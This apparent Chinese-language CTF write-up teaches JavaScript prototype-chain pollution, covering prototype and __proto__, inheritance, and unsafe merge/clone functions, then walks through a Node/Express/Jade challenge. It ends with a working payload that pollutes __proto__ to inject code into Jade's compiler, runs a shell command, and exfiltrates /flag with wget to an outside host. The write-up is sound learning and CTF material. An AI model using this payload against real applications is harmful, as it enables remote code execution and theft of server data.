js原型链污染学习

前两天pwnhub上出了一道node的web题,大概看出是js原型链污染,没能做出来,来看wp复现下

先学习一下相关概念

什么是javaScript 原型链

prototype__proto__

在javascript中,每个函数都有一个特殊的属性叫作原型(prototype)

function Foo(){
    this.name = "Foo"
}; 
console.log( Foo.prototype );
/*
{constructor: ƒ}
    constructor: ƒ ()
    __proto__:
        constructor: ƒ Object()
        __defineGetter__: ƒ __defineGetter__()
        __defineSetter__: ƒ __defineSetter__()
        hasOwnProperty: ƒ hasOwnProperty()
        __lookupGetter__: ƒ __lookupGetter__()
        __lookupSetter__: ƒ __lookupSetter__()
        isPrototypeOf: ƒ isPrototypeOf()
        propertyIsEnumerable: ƒ propertyIsEnumerable()
        toString: ƒ toString()
        valueOf: ƒ valueOf()
        toLocaleString: ƒ toLocaleString()
        get __proto__: ƒ __proto__()
        set __proto__: ƒ __proto__()
*/
let f = new Foo()
console.log(f.prototype)
//undefined
f.__proto__
//{constructor: ƒ}

ps: js中的类

function Foo() {
    this.name = "Foo"
    this.showName = function(){
        console.log(this.name)
    }
}

Foo.prototype=f.__proto__

  • prototype 是类的属性,可以使用它来修改类的属性
  • __proto__是对象的属性,也可以直接修改类的属性
function Foo(){
    this.name = "Foo"
};

Foo.prototype.showName = function() {
    console.log(this.name)
}

let f2 = new Foo()
f2.__proto__.setName = function(name) {
    this.name = name
}

console.log(Foo.prototype)
/*
{showName: ƒ, setName: ƒ, constructor: ƒ}
    showName: ƒ ()
    setName: ƒ (name)
    constructor: ƒ Foo()
    __proto__: Object
 */
let f3 = new Foo()
f3.setName("f3")
f3.showName()
//f3

原型的作用

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

function Father() {
    this.firstName = 'Naruto'
    this.lastName = 'Uzumaki'
}

function Son() {
    this.firstName = 'Boruto'
}

Son.prototype = new Father()

let son = new Son()

console.log(son.lastName)
//Uzumaki

机制:如果当前对象无该属性,寻找当前对象的__proto__,若找不到,继续溯源,直到__proto__为null

原型链污染

污染利用的是__proto__属性

let obj = {"name":"obj"}
obj.__proto__.name="obj"
let newObj = {}
console.log(newObj.name)

通过污染基类,给newObj赋了新的属性

污染的三种情况:

  • merge():
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
  • theFunc(object, path, value)

  • clone()

function clone(obj) {
	return merge({},obj)
}

回到题目

题目的名字叫被污染的jade,暗示了js原型链污染

这道题目没有给源码,下面的是lorexxar学长在代码执行后拿到的源码,用以参照

const express = require('express');
const path = require('path');
const app = express();
var router = express.Router();
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set("view engine", "jade");
app.use(express.json()).use(express.urlencoded({
    extended: false
}));
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
router.get('/', (req, res, next) => {
    res.render('index', {
        title: 'HTML',
        name: ''
    });
});
router.post('/', (req, res, next) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    res.render('index', {
        title: 'HTML',
        name: copybody.name || ''
    });
});
app.use('/', router)
app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))

利用起来不难,找的jadel/ib/compile.js,然后在visit下注入node.line即可

payload:

{"__proto__":{"self":true,"line":"0, \"\" ));global.process.mainModule.constructor._load('child_process').exec(`wget msocp8.ceye.io?$(cat /flag|base64)`, function(){} );jade_debug.unshift(new jade.DebugItem( 0","filename":"test","title":"test","name":"test"}}
Written by
crumbledwall

Keep Curious.